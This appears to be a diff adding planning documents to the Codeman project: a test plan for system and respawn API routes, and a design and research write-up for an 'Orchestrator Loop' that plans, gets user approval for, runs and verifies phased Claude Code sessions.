+**Files created**: `test/routes/system-routes.test.ts`, `test/routes/respawn-routes.test.ts`
+
+### System routes (`src/web/routes/system-routes.ts`)
+
+Focus on status and configuration endpoints:
+
+| Method | Path | What to test |
+|--------|------|-------------|
+| `GET` | `/api/status` | Returns server status with uptime, session count |
+| `GET` | `/api/stats` | Returns mux stats |
+| `GET` | `/api/config` | Returns current config |
+| `PUT` | `/api/config` | Updates config; validates input |
+| `GET` | `/api/settings` | Returns user settings |
+| `PUT` | `/api/settings` | Updates settings; validates input |
+| `GET` | `/api/subagents` | Returns subagent list |
+| `GET` | `/api/screenshots` | Returns screenshot list |
+
+### Respawn routes (`src/web/routes/respawn-routes.ts`)
+
+| Method | Path | What to test |
+|--------|------|-------------|
+| `GET` | `/api/sessions/:id/respawn` | Returns respawn status; null when not configured |
+| `POST` | `/api/sessions/:id/respawn/start` | Starts respawn; 404 for unknown session |
+| `POST` | `/api/sessions/:id/respawn/stop` | Stops respawn; 404 for unknown session |
+| `PUT` | `/api/sessions/:id/respawn/config` | Updates respawn config; validates |
+| `POST` | `/api/sessions/:id/respawn/enable` | Enables respawn loop |
+| `POST` | `/api/sessions/:id/respawn/disable` | Disables respawn loop |
+
+### Test patterns
+
+Same pattern as Task 7 — `createRouteTestHarness` with `registerSystemRoutes` / `registerRespawnRoutes`.
+
+For respawn tests, pre-populate `ctx.respawnControllers` with a mock controller in `beforeEach`:
+
+```typescript
+beforeEach(async () => {
+  harness = await createRouteTestHarness(registerRespawnRoutes);
+  // Add a mock respawn controller for the default session
+  harness.ctx.respawnControllers.set(harness.ctx._sessionId, {
+    getState: vi.fn(() => 'idle'),
+    getConfig: vi.fn(() => ({})),
+    getStatus: vi.fn(() => ({ state: 'idle', health: 100 })),
+    start: vi.fn(),
+    stop: vi.fn(),
+    updateConfig: vi.fn(),
+    enable: vi.fn(),
+    disable: vi.fn(),
+  });
+});
+```

+
+## Task 9: Slim down `respawn-test-utils.ts`
+
+**Estimated effort**: 30 minutes
+**Depends on**: Tasks 4, 5
+**Files modified**: `test/respawn-test-utils.ts`
+
+After Tasks 4–5 are verified passing with shared mocks, slim down `respawn-test-utils.ts` to remove duplicates.
+
+### Steps
+
+1. **Remove** from `respawn-test-utils.ts` what has been moved to shared mocks:
+   - `MockSession` class → now in `test/mocks/mock-session.ts`
+   - `createMockSession()` → now in `test/mocks/mock-session.ts`
+   - `terminalOutputs` → now in `test/mocks/mock-session.ts`
+   - `waitForEvent()` / `createDeferred()` → now in `test/mocks/test-helpers.ts`
+
+2. **Keep** respawn-specific utilities that don't belong in the general mocks:
+   - `TimeController` / `createTimeController()` — respawn-specific timer control
+   - `MockAiIdleChecker` / `MockAiPlanChecker` — respawn-specific AI mocks
+   - `createStateTracker()` / `createEventRecorder()` — respawn state tracking
+   - `FAST_TEST_CONFIG` / `AI_ENABLED_TEST_CONFIG` — respawn config presets
+   - `waitForState()` — respawn state machine waiter
+
+3. **Update imports** in `respawn-test-utils.ts` to re-use shared mocks:
+   ```typescript
+   import { MockSession, createMockSession, terminalOutputs } from './mocks/index.js';
+   import { waitForEvent, createDeferred } from './mocks/index.js';
+   export { MockSession, createMockSession, terminalOutputs, waitForEvent, createDeferred };
+   ```
+
+This preserves backward compatibility for any future tests that import from `respawn-test-utils.ts` directly while eliminating the duplication.
+
+### Verification
+
+```bash
+tsc --noEmit
+npx vitest run test/respawn-controller.test.ts
+npx vitest run test/respawn-team-awareness.test.ts
+```
+
+---
+
+## What is NOT in scope (and why)
+
+### Migrating `session-manager.test.ts` and `ralph-loop.test.ts` mocks
+
+Both files define mocks inside `vi.mock()` factories that replace entire modules:
+
+```typescript
+// session-manager.test.ts — mock replaces ../src/session.js
+vi.mock('../src/session.js', () => {
+  class MockSession extends EventEmitter { ... }
+  return { Session: MockSession };
+});
+
+// ralph-loop.test.ts — mock replaces ../src/state-store.js
+vi.mock('../src/state-store.js', () => {
+  class MockStateStore { ... }
+  return { getStore: vi.fn(() => instance), StateStore: MockStateStore };
+});
+```
+
+These are fundamentally different from the direct-instantiation pattern:
+- The `vi.mock()` factory runs in an isolated scope — outer imports are not available
+- The mock class must be returned with the exact export names (`Session`, `getStore`, `StateStore`)
+- The `session-manager.test.ts` MockSession auto-registers into a shared `mockState.sessions` Map (tight coupling with test setup)
+
+Migrating would require `vi.hoisted()` to share the class between factory and test scope, plus restructuring the test's module-mocking setup. This is high-complexity, high-risk refactoring with limited benefit since these tests already work. The shared `MockStateStore` in `test/mocks/` is available for **new** tests (like route tests) that use direct instantiation instead.
+
+### Full integration tests with real Fastify server
+
+Route tests use `app.inject()` which simulates HTTP without opening ports. Full integration tests that spin up `WebServer`, create real sessions, and stream SSE would be valuable but are a separate effort requiring:
+- A test WebServer factory
+- Session lifecycle management in tests
+- SSE client test utilities
+- Significantly more setup/teardown complexity
+
+### Testing auth middleware in route tests
+
+Route tests bypass authentication (no auth middleware registered on the test Fastify instance). Auth middleware has its own dedicated tests in `auth-security.test.ts` and `qr-auth.test.ts`. Testing auth + routes together is a future integration test concern.
+
+### Testing SSE event streaming
+
+SSE integration requires a running server with `EventSource` client. This is significantly more complex than `app.inject()` tests and is deferred. The existing `sse-events.test.ts` covers SSE patterns.
+
+### Complete route coverage for all 12 modules
+
+This phase covers the 3 highest-value route modules (session, system, respawn — 98 of 162 handlers). The remaining 9 modules (ralph, plan, push, team, mux, file, scheduled, hook-event, case) should be added incrementally in follow-up work.
+

+
+## Summary
+
+| Metric | Before | After |
+|--------|--------|-------|
+| MockSession definitions | 4 (across 4 files) | 1 shared (2 vi.mock() copies remain, intentionally) |
+| MockStateStore definitions | 2 (across 2 files) | 1 shared (2 vi.mock() copies remain, intentionally) |
+| Files importing from `respawn-test-utils.ts` | 0 | Utilities split into `test/mocks/` |
+| Route test files | 0 | 3 (session, system, respawn) |
+| Route handlers with dedicated tests | 0 | ~30 (highest-priority endpoints) |
+| Shared mock directory | None | `test/mocks/` with 5 files + barrel |

+## Data Flow: Complete Lifecycle
+
+### 1. User Submits Goal
+
+```
+User → POST /api/orchestrator/start { goal: "Build a REST API...", config: {...} }
+  → OrchestratorLoop.start(goal)
+    → state = PLANNING
+    → emit('stateChanged', 'planning')
+    → SSE: orchestrator:stateChanged
+```
+
+### 2. Planning Phase
+
+```
+OrchestratorPlanner.generatePlan(goal)
+  → PlanOrchestrator.generateDetailedPlan(goal)
+    → [Research Agent] → enriched task description
+    → [Planner Agent] → PlanItem[]
+  → groupIntoPhases(planItems)
+    → topological sort by dependencies
+    → group into layers
+    → assign team strategies
+  → OrchestratorPlan { phases: [...] }
+  → state = APPROVAL
+  → emit('planReady', plan)
+  → SSE: orchestrator:planReady
+```
+
+### 3. User Approves Plan
+
+```
+User → POST /api/orchestrator/approve
+  → OrchestratorLoop.approvePlan()
+    → state = EXECUTING
+    → executePhase(phases[0])
+```
+
+### 4. Phase Execution
+
+```
+executePhase(phase)
+  → For each task in phase:
+    → Convert to CreateTaskOptions
+    → Add to TaskQueue with completion phrase "PHASE_{N}_TASK_{M}_DONE"
+  → If phase.teamStrategy.type === 'team':
+    → Start session with AGENT_TEAMS enabled
+    → Send team orchestration prompt to lead
+  → Else:
+    → Assign tasks to available sessions (same as RalphLoop)
+
+  → Listen for task completion events:
+    → TaskQueue emits taskCompleted
+    → Check: all phase tasks done?
+      → Yes → state = VERIFYING → verifyPhase(phase)
+      → No → wait for more completions
+```
+
+### 5. Verification
+
+```
+verifyPhase(phase)
+  → OrchestratorVerifier.verify(phase, session)
+    → Run test commands via session
+    → Check file existence
+    → AI review (optional)
+  → If passed:
+    → phase.status = 'passed'
+    → emit('phaseCompleted', phase)
+    → If more phases: executePhase(nextPhase)
+    → If last phase: state = COMPLETED
+  → If failed:
+    → phase.attempts++
+    → If attempts < maxAttempts:
+      → state = REPLANNING
+      → Generate recovery tasks
+      → state = EXECUTING (retry)
+    → Else:
+      → state = FAILED
+      → emit('phaseFailed', phase, reason)
+```
+
+### 6. Context Management Between Phases
+
+```
+After phase completion:
+  → If config.compactBetweenPhases:
+    → session.sendInput('/compact')
+    → Wait for compact to complete
+  → If config.respawnBetweenMilestones && phase is a milestone:
+    → Save orchestrator state to StateStore
+    → Respawn session (kill + recreate)
+    → Send resume prompt with phase context
+```

+## Integration Points with Existing Code
+
+### StateStore (`src/state-store.ts`)
+```typescript
+// Add to AppState interface
+orchestrator?: OrchestratorPersistState;
+
+// Add methods
+getOrchestratorState(): OrchestratorPersistState;
+setOrchestratorState(state: Partial<OrchestratorPersistState>): void;
+```
+
+### SSE Events (`src/web/sse-events.ts`)
+```typescript
+// Add ~8 new events
+export const SseEvent = {
+  // ... existing
+  ORCHESTRATOR_STATE_CHANGED: 'orchestrator:stateChanged',
+  ORCHESTRATOR_PLAN_READY: 'orchestrator:planReady',
+  ORCHESTRATOR_PHASE_STARTED: 'orchestrator:phaseStarted',
+  ORCHESTRATOR_PHASE_COMPLETED: 'orchestrator:phaseCompleted',
+  ORCHESTRATOR_PHASE_FAILED: 'orchestrator:phaseFailed',
+  ORCHESTRATOR_VERIFICATION: 'orchestrator:verificationResult',
+  ORCHESTRATOR_COMPLETED: 'orchestrator:completed',
+  ORCHESTRATOR_ERROR: 'orchestrator:error',
+} as const;
+```
+
+### Frontend Constants (`src/web/public/constants.js`)
+```javascript
+// Mirror SSE events
+SSE_EVENTS.ORCHESTRATOR_STATE_CHANGED = 'orchestrator:stateChanged';
+// ... etc
+```
+
+### Route Registration (`src/web/routes/index.ts`)
+```typescript
+import { registerOrchestratorRoutes } from './orchestrator-routes.js';
+// Add to barrel export
+```
+
+### Server (`src/web/server.ts`)
+```typescript
+// Initialize OrchestratorLoop alongside RalphLoop
+const orchestratorLoop = new OrchestratorLoop(config);
+
+// Register routes
+registerOrchestratorRoutes(app, { ...ctx, orchestrator: orchestratorLoop });
+```
+
+### Port Interface (`src/web/ports/`)
+```typescript
+// New port
+export interface OrchestratorPort {
+  orchestrator: OrchestratorLoop;
+}
+```
+
+## Prompt Flow Through System
+
+The key insight is how prompts flow from Orchestrator → Session → Claude:
+
+```
+OrchestratorLoop decides to execute Phase 3, Task 2
+  │
+  ▼
+Converts OrchestratorTask to CreateTaskOptions:
+  {
+    prompt: "Implement the rate limiter middleware. Read src/middleware/auth.ts
+             for the pattern. Add to src/middleware/rate-limiter.ts. Must export
+             a Fastify plugin. When done: <promise>PHASE_3_TASK_2_DONE</promise>",
+    priority: 100,
+    dependencies: ["phase-3-task-1"],  // Must finish auth middleware first
+    completionPhrase: "PHASE_3_TASK_2_DONE",
+    timeoutMs: 600000  // 10 minutes
+  }
+  │
+  ▼
+TaskQueue.addTask(options)
+  │
+  ▼
+RalphLoop.tick() → assignTasks()  // OR OrchestratorLoop does its own assignment
+  │
+  ▼
+session.sendInput(task.prompt)
+  │
+  ▼
+writeViaMux() → tmux send-keys -l "prompt..." + Enter
+  │
+  ▼
+Claude CLI receives prompt, executes, outputs results
+  │
+  ▼
+RalphTracker.processData() → detects "PHASE_3_TASK_2_DONE"
+  │
+  ▼
+emit('completionDetected') → OrchestratorLoop.handleTaskCompleted()
+  │
+  ▼
+Check: all tasks in Phase 3 done? → If yes → verifyPhase(phase3)
+```
+
+## Team Agent Flow (When Enabled)
+
+```
+Phase has teamStrategy.type === 'team'
+  │
+  ▼
+OrchestratorLoop creates/reuses a session with:
+  env: { CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1' }
+  │
+  ▼
+Sends team orchestration prompt:
+  "You're the team lead for Phase 3: Core Implementation.
+
+   Your team should work on these tasks in parallel:
+   1. Rate limiter middleware (teammate 1)
+   2. Error handling middleware (teammate 2)
+   3. Validation layer (teammate 3)
+
+   Context files to read first: [...]
+   Each teammate should output their task's completion phrase when done.
+   When ALL tasks are complete, output: <promise>PHASE_3_COMPLETE</promise>"
+  │
+  ▼
+Claude Code team-lead spawns teammates
+  │
+  ▼
+TeamWatcher detects new team in ~/.claude/teams/
+  → Matches to session via leadSessionId
+  → Tracks teammate activity
+  │
+  ▼
+Teammates work in parallel (in-process threads)
+  │
+  ▼
+hook: teammate_idle → POST /api/hook-event
+  → OrchestratorLoop notes teammate finished
+  │
+  ▼
+hook: task_completed → POST /api/hook-event
+  → Or: RalphTracker detects PHASE_3_COMPLETE
+  → OrchestratorLoop → phase complete → verify
+```
+
+## Error Recovery Strategy
+
+```
+Task fails (timeout, error, session crash)
+  │
+  ├─ Task-level retry (up to 2 retries per task)
+  │   → Reset task to pending
+  │   → Re-queue with modified prompt: "Previous attempt failed: {error}. Try again..."
+  │
+  ├─ Phase-level retry (up to 3 retries per phase)
+  │   → Respawn session (fresh context)
+  │   → Re-execute entire phase with learnings from failure
+  │   → Modified prompt includes what went wrong
+  │
+  └─ Orchestration-level failure
+      → All retries exhausted
+      → state = FAILED
+      → Notify user with detailed failure report
+      → User can: modify plan → retry, skip phase → continue, or stop
+```
+
+## Interaction with Ralph Loop
+
+Ralph Loop and Orchestrator Loop are **mutually exclusive** on the same sessions:
+
+```
+if (orchestratorLoop.isRunning()) {
+  // Orchestrator controls task assignment
+  // Ralph Loop should not interfere
+  // Respawn Controller uses 'orchestrator' preset
+}
+
+if (ralphLoop.isRunning()) {
+  // Ralph controls task assignment
+  // Orchestrator should not start
+}
+```
+
+The Orchestrator can optionally USE the Ralph Loop internally for phase execution (delegate phase tasks to Ralph's queue), or manage task assignment directly. Decision: **manage directly** — gives more control over phase boundaries and verification timing.

+
+## Vision
+
+The **Orchestrator Loop** is a new autonomous execution mode that transforms high-level user goals into phased, verified, team-coordinated implementations. Unlike Ralph Loop (flat task queue → idle sessions), the Orchestrator manages the full lifecycle: **plan → approve → execute → verify → adapt → complete**.

+**States:** `idle` | `planning` | `approval` | `executing` | `verifying` | `replanning` | `completed` | `failed` | `paused`
+
+Transitions are event-driven. The state machine is the single source of truth — all methods check `this.state` before acting.

+## New Files (Implementation Order)
+
+### Step 1: `src/types/orchestrator.ts` — Type definitions
+All interfaces above. No dependencies. ~120 lines.
+
+### Step 2: `src/orchestrator-planner.ts` — Plan generation + phase grouping
+~300 lines. Wraps existing PlanOrchestrator.
+
+```typescript
+/**
+ * @fileoverview Orchestrator plan generation — converts goals into phased plans.
+ *
+ * Uses PlanOrchestrator for AI plan generation, then groups PlanItems into
+ * sequential phases with team strategies and verification criteria.
+ *
+ * @module orchestrator-planner
+ */
+
+export class OrchestratorPlanner {
+  constructor(mux: TerminalMultiplexer, workingDir: string, config: OrchestratorConfig);
+
+  /** Generate plan from goal. Uses PlanOrchestrator internally. */
+  async generatePlan(goal: string, onProgress?: ProgressCallback): Promise<OrchestratorPlan>;
+
+  /** Cancel in-progress plan generation. */
+  async cancel(): Promise<void>;
+
+  // Internal
+  private groupIntoPhases(items: PlanItem[], goal: string): OrchestratorPhase[];
+  private assignTeamStrategies(phases: OrchestratorPhase[]): void;
+  private generateCompletionPhrases(plan: OrchestratorPlan): void;
+}
+```
+
+**Phase grouping algorithm:**
+1. Topological sort by `PlanItem.dependencies`
+2. Group into dependency layers (Kahn's algorithm)
+3. Within each layer, sub-group by `tddPhase` (setup → test → impl → verify → review)
+4. Merge adjacent small phases (< 2 tasks) if they share the same tddPhase
+5. Assign team strategies:
+   - 1-2 tasks → `{ type: 'single' }`
+   - 3+ independent tasks → `{ type: 'parallel', maxSessions: Math.min(taskCount, config.maxParallelSessions) }`
+   - 4+ tasks with high complexity → `{ type: 'team', config: { ... } }`
+6. Generate unique completion phrases per task: `ORCH_P{phaseOrder}_T{taskIndex}`
+
+### Step 3: `src/orchestrator-verifier.ts` — Phase verification
+~200 lines.
+
+```typescript
+/**
+ * @fileoverview Orchestrator phase verification.
+ *
+ * Runs verification checks after each phase completes:
+ * test commands, AI review, and file existence checks.
+ *
+ * @module orchestrator-verifier
+ */
+
+export class OrchestratorVerifier {
+  constructor(config: OrchestratorConfig);
+
+  /** Run all verification checks for a completed phase. */
+  async verifyPhase(
+    phase: OrchestratorPhase,
+    session: Session,
+    mode: 'strict' | 'moderate' | 'lenient'
+  ): Promise<VerificationResult>;
+
+  // Verification strategies
+  private async runTestCommands(commands: string[], session: Session): Promise<VerificationCheck[]>;
+  private async aiReview(phase: OrchestratorPhase, session: Session): Promise<VerificationCheck>;
+}
+```
+
+**Verification modes:**
+- `strict`: ALL test commands must pass AND AI review must approve
+- `moderate`: Test commands must pass, AI review is advisory
+- `lenient`: At least one test command passes, AI review skipped
+
+**AI review prompt (sent as a task to the session):**
+```
+Review Phase "{phase.name}" completion. Check:
+1. Expected functionality works
+2. No obvious regressions
+3. Code quality is acceptable
+
+Criteria: {phase.verificationCriteria.join('\n')}
+
+If ALL criteria are met, respond: ORCH_VERIFY_PASS
+If ANY criteria fail, respond: ORCH_VERIFY_FAIL and explain what failed.
+```
+
+### Step 4: `src/orchestrator-loop.ts` — Core state machine
+~500 lines. Main orchestrator engine.
+
+```typescript
+/**
+ * @fileoverview Orchestrator Loop — phased plan execution with team agents.
+ *
+ * State machine that generates plans from user goals, executes them
+ * phase-by-phase with verification gates, and adapts on failure.

+ * @module orchestrator-loop

+  private advanceToNextPhase(): Promise<void>;
+  private persist(): void;
+  private restore(): void;
+}
+```
+
+**Key execution flow in `executePhase()`:**
+1. Mark phase as `executing`, emit `phaseStarted`
+2. For each task in phase:
+   - Create a `CreateTaskOptions` from `OrchestratorTask`
+   - Add to `TaskQueue` with proper dependencies + completion phrase
+   - Store the TaskQueue task ID in `OrchestratorTask.queueTaskId`
+3. Poll task completion (listen to TaskQueue events)
+4. When all tasks complete → call `onPhaseTasksComplete()`
+5. `onPhaseTasksComplete()` triggers verification
+
+**How tasks get assigned to sessions:**
+The OrchestratorLoop does NOT manage session assignment directly. It adds tasks to the existing TaskQueue and starts a mini poll loop that assigns pending tasks to idle sessions — the same pattern as RalphLoop's `assignTasks()`. This reuses existing session management.
+
+**Team agent flow:**
+For phases with `teamStrategy.type === 'team'`:
+- Start a single session with `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`
+- Instead of adding individual tasks to TaskQueue, send ONE comprehensive prompt to the lead
+- The prompt instructs the lead to create teammates and delegate
+- Monitor via TeamWatcher for team task completion + hook events
+- Phase completion is detected via the lead's completion phrase
+
+### Step 5: `src/web/routes/orchestrator-routes.ts` — API endpoints
+~300 lines.
+
+```
+POST   /api/orchestrator/start          — { goal, config? } → start planning
+POST   /api/orchestrator/approve        — approve generated plan
+POST   /api/orchestrator/reject         — { feedback } → reject + replan
+POST   /api/orchestrator/pause          — pause execution
+POST   /api/orchestrator/resume         — resume execution
+POST   /api/orchestrator/stop           — stop orchestration
+GET    /api/orchestrator/status         — full state + plan + stats
+GET    /api/orchestrator/plan           — plan details only
+POST   /api/orchestrator/phase/:id/skip — skip a phase
+POST   /api/orchestrator/phase/:id/retry — retry a failed phase
+```
+
+Port dependency: `SessionPort & EventPort & RespawnPort & ConfigPort & InfraPort`
+
+The route module receives the OrchestratorLoop instance via the InfraPort (added to `createRouteContext()`).
+
+### Step 6: SSE Events — `src/web/sse-events.ts` additions
+
+```typescript
+// ─── Orchestrator ────────────────────────────────────────────────────────────
+
+/** Orchestrator state machine transitioned. */
+export const OrchestratorStateChanged = 'orchestrator:stateChanged' as const;
+/** Orchestrator plan generated and ready for approval. */
+export const OrchestratorPlanReady = 'orchestrator:planReady' as const;
+/** Orchestrator phase started executing. */
+export const OrchestratorPhaseStarted = 'orchestrator:phaseStarted' as const;
+/** Orchestrator phase completed successfully. */
+export const OrchestratorPhaseCompleted = 'orchestrator:phaseCompleted' as const;
+/** Orchestrator phase failed. */
+export const OrchestratorPhaseFailed = 'orchestrator:phaseFailed' as const;
+/** Orchestrator verification result for a phase. */
+export const OrchestratorVerification = 'orchestrator:verification' as const;
+/** Orchestrator task assigned to session. */
+export const OrchestratorTaskAssigned = 'orchestrator:taskAssigned' as const;
+/** Orchestrator task completed. */
+export const OrchestratorTaskCompleted = 'orchestrator:taskCompleted' as const;
+/** Orchestrator task failed. */
+export const OrchestratorTaskFailed = 'orchestrator:taskFailed' as const;
+/** All phases completed successfully. */
+export const OrchestratorCompleted = 'orchestrator:completed' as const;
+/** Orchestrator error. */
+export const OrchestratorError = 'orchestrator:error' as const;
+```
+
+11 new events. Add to `SseEvent` namespace object + mirror in `constants.js`.
+
+### Step 7: State persistence — `src/state-store.ts` additions
+
+Add to `AppState`:
+```typescript
+orchestrator?: OrchestratorPersistState;
+```
+
+Add methods:
+```typescript
+getOrchestratorState(): OrchestratorPersistState | null;
+setOrchestratorState(state: Partial<OrchestratorPersistState>): void;
+clearOrchestratorState(): void;
+```
+
+### Step 8: Server integration — `src/web/server.ts` modifications
+
+1. Import `OrchestratorLoop` and `registerOrchestratorRoutes`
+2. Add `private orchestratorLoop: OrchestratorLoop` field
+3. Initialize in constructor (lazy — created on first start, not at boot)
+4. Add to `createRouteContext()` InfraPort: `orchestratorLoop: this.orchestratorLoop`
+5. Wire up OrchestratorLoop events → SSE broadcasts
+6. Register routes: `registerOrchestratorRoutes(this.app, ctx)`
+7. Clean up in `stop()`
+
+### Step 9: `src/web/public/orchestrator-ui.js` — Frontend panel
+~500 lines. New frontend module.
+
+**Load order**: After `panels-ui.js` (11), before `ralph-wizard.js` (13). So load order = 11.5.
+
+**UI elements:**
+- Goal input form (text area + config toggles)
+- Plan approval view (phase list, task details, approve/reject buttons)
+- Execution dashboard (progress bar, phase cards, task status indicators)
+- Agent activity panel (session count, team status)
+- Controls (pause, resume, stop, skip phase, retry phase)
+
+**SSE listeners:**
+- All 11 orchestrator events → update UI state
+- Reuses existing session/respawn/team event handlers for agent monitoring
+
+### Step 10: `src/prompts/orchestrator.ts` — Prompt templates
+~200 lines.
+
+Templates for:
+- Phase execution prompt (tells Claude what to do in this phase)
+- Team lead delegation prompt (instructs lead to create and coordinate teammates)
+- Verification prompt (asks Claude to verify phase output)
+- Replan prompt (gives failure context, asks for recovery steps)
+
+### Step 11: Constants, schemas, route barrel updates
+
+- `src/web/public/constants.js` — Add 11 SSE event mirrors
+- `src/web/schemas.ts` — Add Zod schemas for orchestrator API input validation
+- `src/web/routes/index.ts` — Export `registerOrchestratorRoutes`
+- `src/web/ports/infra-port.ts` — Add `orchestratorLoop` to InfraPort
+- `src/types/index.ts` — Export orchestrator types

+
+## Implementation Execution Order
+
+This is the actual build order — each step is a commit checkpoint:
+
+1. **Types** — `src/types/orchestrator.ts` + barrel export. Zero risk, pure types.
+2. **SSE events** — Add all 11 events to both `sse-events.ts` and `constants.js`. Wire in SseEvent namespace.
+3. **State persistence** — Add orchestrator state to StateStore. Small, isolated change.
+4. **Schemas** — Add Zod validation schemas for API input.
+5. **Planner** — `src/orchestrator-planner.ts`. Can test in isolation.
+6. **Verifier** — `src/orchestrator-verifier.ts`. Can test in isolation.
+7. **Core loop** — `src/orchestrator-loop.ts`. The big one. Depends on planner + verifier.
+8. **Prompts** — `src/prompts/orchestrator.ts`. Templates used by core loop.
+9. **Port + routes** — `src/web/ports/infra-port.ts` update + `src/web/routes/orchestrator-routes.ts`.
+10. **Server integration** — Wire OrchestratorLoop into WebServer. Routes become live.
+11. **Frontend** — `src/web/public/orchestrator-ui.js` + app.js listeners + index.html script tag.
+12. **Tests** — `test/orchestrator-*.test.ts`.
+13. **Typecheck + lint** — Fix all issues, ensure CI passes.
+
+## Edge Cases & Error Handling
+
+- **Session limit reached**: Queue tasks and wait for sessions to free up (existing SessionManager handles this)
+- **All sessions crash during phase**: Mark phase as failed, attempt replan
+- **Verification flaky**: `moderate` mode allows test retries; `lenient` skips AI review
+- **Plan too large**: Cap at 10 phases, 50 total tasks. Warn user.
+- **Context overflow**: Auto-compact between phases. Respawn if needed (orchestrator state is external).
+- **User pauses mid-phase**: Pause task assignment, don't cancel running tasks. Resume picks up where it left off.
+- **Network/API errors during planning**: Retry plan generation up to 2 times, then fail with clear message.
+- **Orchestrator vs Ralph conflict**: Mutually exclusive. Starting orchestrator stops Ralph if running. Starting Ralph stops orchestrator.
+
+## Testing Strategy
+
+- **Unit tests**: `test/orchestrator-planner.test.ts` — phase grouping algorithm, team strategy assignment
+- **Unit tests**: `test/orchestrator-verifier.test.ts` — verification logic with mocked sessions
+- **Integration tests**: `test/orchestrator-loop.test.ts` — state machine transitions, task lifecycle
+- **Route tests**: `test/routes/orchestrator-routes.test.ts` — API validation, status responses
+
+All tests use `MockSession` pattern from existing test infrastructure. No real tmux needed.

+# Orchestrator Loop — Research Findings
+
+> Research doc for the new "Orchestrator Loop" feature. Not for GitHub.
+
+## What We're Building
+
+A new autonomous loop variant — **Orchestrator Loop** — that takes high-level user tasks, decomposes them into a detailed plan using team agents, and executes the plan step-by-step with quality gates. Unlike Ralph Loop (which executes a flat task queue), the Orchestrator coordinates **planning, delegation, and verification** as a continuous cycle.
+
+**Core idea**: User inputs a goal → Orchestrator creates a detailed plan → spins up team agents for parallel execution → validates each step → adapts the plan based on results → delivers polished output.
+
+## Existing Infrastructure Analysis
+
+### What We Can Reuse
+
+#### 1. Ralph Loop (`src/ralph-loop.ts`)
+- **Pattern**: Poll loop with `start() → tick() → stop()` lifecycle
+- **Reusable**: Event-driven task assignment, session completion handling, timeout management
+- **Limitation**: Flat task queue — no concept of phases, dependencies between task groups, or adaptive replanning
+- **Key insight**: `assignTaskToSession()` uses `session.sendInput(task.prompt)` — simple prompt injection into PTY
+
+#### 2. Task Queue (`src/task-queue.ts`) + Task (`src/task.ts`)
+- **Already has**: Priority ordering, dependency tracking between tasks, completion phrase detection
+- **Limitation**: No task *groups* or *phases*. Dependencies are task-to-task, not phase-to-phase
+- **Key insight**: Tasks support `completionPhrase` — a string the task watches for in output. This is how Ralph knows a task is done
+
+#### 3. Plan Orchestrator (`src/plan-orchestrator.ts`)
+- **Already has**: 2-agent plan generation (Research Agent → Planner Agent), TDD-aware plan items with P0/P1/P2 priorities
+- **Output**: `PlanItem[]` with dependencies, verification criteria, TDD phases, complexity ratings
+- **Limitation**: Plan generation only — no execution. Plans are generated then sit in state/UI for human review
+- **Key insight**: Uses `Session` directly to run Claude subagent instances for research and planning. Returns structured JSON
+
+#### 4. Team Agents (`src/team-watcher.ts`, `~/.claude/teams/`)
+- **Already has**: Team creation, member tracking, filesystem inbox messaging, task management via `~/.claude/tasks/{team-name}/`
+- **Limitation**: Codeman can only *observe* teams (TeamWatcher is read-only polling), not *create* or *orchestrate* them
+- **Key insight**: Teams are a Claude Code feature. Codeman monitors them but doesn't control them. We can't programmatically create teammates — Claude Code does that when you use `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`
+
+#### 5. Respawn Controller (`src/respawn-controller.ts`)
+- **Already has**: Preset-based automation (ralph-todo, overnight-autonomous), circuit breaker, health scoring
+- **Key insight**: The `ralph-todo` preset (8s idle, 480min max) is designed for autonomous task execution. We'd need a new preset or make Orchestrator Loop set its own timing
+
+#### 6. Session Auto-Ops (`src/session-auto-ops.ts`)
+- **Already has**: Auto-compact at token thresholds, auto-clear for context management
+- **Key insight**: Critical for long Orchestrator runs — prevents context overflow during multi-step execution
+
+#### 7. Hooks (`src/hooks-config.ts`)
+- **Already has**: `idle_prompt`, `stop`, `teammate_idle`, `task_completed` hook events
+- **Key insight**: Hooks fire POST to `/api/hook-event` — this is how Codeman knows when Claude is idle, stopped, or completed a task. The Orchestrator Loop can listen to these same events
+
+### What We Need to Build New
+
+1. **Plan → Task decomposition**: Convert PlanOrchestrator output (PlanItem[]) into executable task groups with phase ordering
+2. **Multi-phase execution engine**: Execute plan phases sequentially, tasks within phases in parallel
+3. **Verification gates**: After each phase, run verification (test commands, AI review) before proceeding
+4. **Adaptive replanning**: When a task fails or verification fails, generate a recovery plan
+5. **Team agent orchestration**: Leverage Claude Code's agent teams for parallel execution within phases
+6. **Progress tracking & UI**: Real-time dashboard showing plan progress, phase status, agent activity
+
+## How Teams Actually Work (Important Constraint)
+
+After deep research, here's the reality of agent teams:
+
+```
+User starts session with CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1
+  → Claude Code creates a team-lead
+  → Team-lead spawns teammates (in-process threads)
+  → Teammates appear as subagents (detected by SubagentWatcher)
+  → Communication via ~/.claude/teams/{name}/inboxes/{member}.json
+  → Tasks tracked in ~/.claude/tasks/{team-name}/{N}.json
+```
+
+**Codeman cannot programmatically create team members.** This is a Claude Code internal feature. However, Codeman CAN:
+- Start a session that has teams enabled
+- Send a prompt to the lead that instructs it to use agent teams
+- Monitor team activity via TeamWatcher
+- React to teammate_idle and task_completed hook events
+- Read team task status from the filesystem
+
+**This means**: The Orchestrator Loop orchestrates at the *session prompt* level, not the *team member* level. We tell the lead what to do, and the lead decides how to use its team.
+
+## Architecture Decision: Prompt-Level Orchestration
+
+Given the team constraint, the Orchestrator Loop works by:
+
+1. **Planning phase**: Use PlanOrchestrator to generate a detailed plan from user input
+2. **Execution phase**: Feed plan steps as prompts to sessions, one phase at a time
+3. **Verification phase**: After each phase, run verification prompts and check results
+4. **Adaptation phase**: If verification fails, generate recovery prompts
+
+The "team agents" aspect works by:
+- Starting sessions with `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`
+- Crafting prompts that *instruct the lead to delegate* to teammates
+- Monitoring team activity to track parallel progress
+- The lead agent is smart enough to decompose work across its team
+
+## Key Technical Findings
+
+### Session Input Mechanics
+```typescript
+// From session.ts - how we send prompts
+await session.sendInput(task.prompt);  // Uses writeViaMux() internally
+// writeViaMux() does: tmux send-keys -l "prompt text" + tmux send-keys Enter
+// CRITICAL: Single-line only! Multi-line breaks Ink rendering
+```
+
+### Completion Detection Chain
+```
+PTY output → RalphTracker.processData() → completion phrase fuzzy match
+  → CompletionConfidence scoring (multi-signal: promise tag + todos + exit signal)
+  → If confident → emit 'completionDetected'
